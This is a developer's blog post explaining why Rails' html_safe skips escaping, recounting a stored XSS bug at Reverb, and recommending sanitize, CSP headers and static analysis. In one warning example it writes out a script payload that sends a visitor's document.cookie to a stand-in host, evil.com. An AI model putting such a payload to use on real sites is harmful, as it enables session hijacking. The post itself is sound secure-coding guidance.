html_safe and the Illusion of Safety
Back in 2015 I wrote an article for Reverb’s engineering blog called Stay Safe While Using html_safe in Rails. It was about how Rails’ html_safe method is one of the most deceptively named things in the framework. A decade later, it’s still tripping people up, so I figured I’d bring the article home and update it for 2026.
Whether you’re a junior dev, product designer, or senior engineer who should know better (hi, it’s me, I’m the senior engineer), it’s easy to fall on your face when using html_safe in Rails.
The thing about this method is: it’s terribly named. I mean really, it’s a horrible name. When you call a method on an object which transforms the original object, the method name should describe the transformation which is about to happen. downcase makes a string lowercase. strip removes whitespace. html_safe makes HTML… safe? No. No it does not.
What html_safe actually does is tell Rails: “stop escaping this string, I trust it completely.” It doesn’t make anything safe. It marks something as safe, which is a very different thing. It’s like labeling a mystery liquid “SAFE TO DRINK” – the label doesn’t change what’s in the bottle.
I’m going to go on record, again, that we should call this method something more sane, like: html_beware. Why beware? Because as a code committer, you should be very aware of the string that you’re calling this method on. If the string has input that is user-controlled in any capacity, you should certainly not call html_safe on it. This method should make you think twice about what you’re doing, and by calling it “safe,” it certainly doesn’t make you think at all.
How html_safe Works
By default, Rails escapes all strings rendered in ERB templates. This is a good thing. If a user submits <script>alert('hi')</script> as their name, Rails will render it as literal text, not execute it. The escaping happens automatically through ActiveSupport::SafeBuffer.
When you call html_safe on a string, you’re telling Rails to skip that escaping:
# Rails escapes this -- safe, boring, correct
"<b>Hello</b>"
# renders as: <b>Hello</b>
# html_safe skips escaping -- you're on your own now
"<b>Hello</b>".html_safe
# renders as: <b>Hello</b>
This is fine when the string is a known, static value. It is decidedly not fine when the string contains anything a user has touched:
# DO NOT DO THIS
# This is how you get XSS. This is how you get ants. Both, really.
user_input = params[:name] # => "<script>document.location='https://evil.com/?c='+document.cookie</script>"
user_input.html_safe
The safe pattern is to only call html_safe on strings you’ve constructed yourself from trusted content, and to use sanitize or content_tag for anything with user data:
# Safe: you built this string, you control every part of it
"<span class='badge'>Admin</span>".html_safe
# Safe: sanitize strips dangerous tags
sanitize(user_input, tags: %w[b i em strong])
# Safe: content_tag escapes attributes for you
content_tag(:span, user_input, class: "username")
How We Fell on Our Face
Not too long after I started poking around Reverb’s codebase looking for security bugs, I found a spot where user-controlled input was being passed through html_safe and inserted directly into the DOM. This resulted in a stored XSS vulnerability – the kind where the payload gets saved to the database and fires every time anyone views the page.
While there’s nothing inherently harmful about a JavaScript alert besides a minor annoyance, this attack vector meant a user could inject any type of HTML into the DOM, including script tags. Session cookies, login credentials, redirects to phishing pages – all on the table. Thankfully we caught it ourselves and it was not exploited.
The fix was straightforward: stop calling html_safe on user input. Groundbreaking stuff, I know.
Digging into html_safe and how Rails handles escaping is what sent me down the rabbit hole through Reverb’s entire codebase – which is how I eventually found that you could steal any credit card on the platform. One bug led to another. That’s how it works when your brain won’t let go.
The Grep Pattern That Keeps on Giving
If you’ve inherited a Rails codebase (or even if you built it yourself – no judgment, we all write bugs), consider grepping for string interpolations combined with html_safe:
grep -rE '.*(\+|\}).*html_safe' app/views/
This catches patterns where a string is being concatenated or interpolated and then marked as safe – exactly the spots where user input can sneak in. It’s not a perfect pattern, but it’s a great starting point.
What’s Changed Since 2015
A few things have gotten better:
- Content Security Policy (CSP) headers are now widely supported and can prevent inline script execution entirely. If you’re not setting CSP headers in your Rails app, that’s a quick win. Rails has built-in support via
content_security_policyin your initializers. - Frontend frameworks like React, Vue, and others escape output by default. React’s JSX won’t execute raw HTML unless you explicitly use
dangerouslySetInnerHTML– which is the React team’s version ofhtml_beware, and honestly a much better name. - Static analysis tools like Brakeman, Semgrep, and CodeQL can now catch
html_safeon user input automatically. In 2015 we were grepping. In 2026 you can add these to your CI pipeline and catch it before it ships. - RuboCop has a built-in cop for this:
Rails/OutputSafety. It flagshtml_safe,raw, andsafe_concat– basicallyhtml_bewarealready exists, they just buried it in a linter instead of fixing the method name. - Rails itself has gotten better about this. The
rawhelper is more obviously dangerous-sounding thanhtml_safe, and the community has gotten louder about treatinghtml_safeas a code smell that deserves scrutiny in review.
A few things have not changed:
html_safeis still calledhtml_safe- Developers still see “safe” and assume it means safe
- I am still mad about it
The Point
The name html_safe is a lie by omission. It sounds like a safety measure when it’s actually a safety removal. Every time you see it in a codebase, treat it like a loaded gun: check what it’s pointed at before you decide it’s fine.
And if you’re building something new – please, for the love of your users’ session cookies, set up CSP headers, run Brakeman, and think twice every time you see html_safe in a code review.
Stay curious. Stay paranoid. And always question anything that calls itself safe.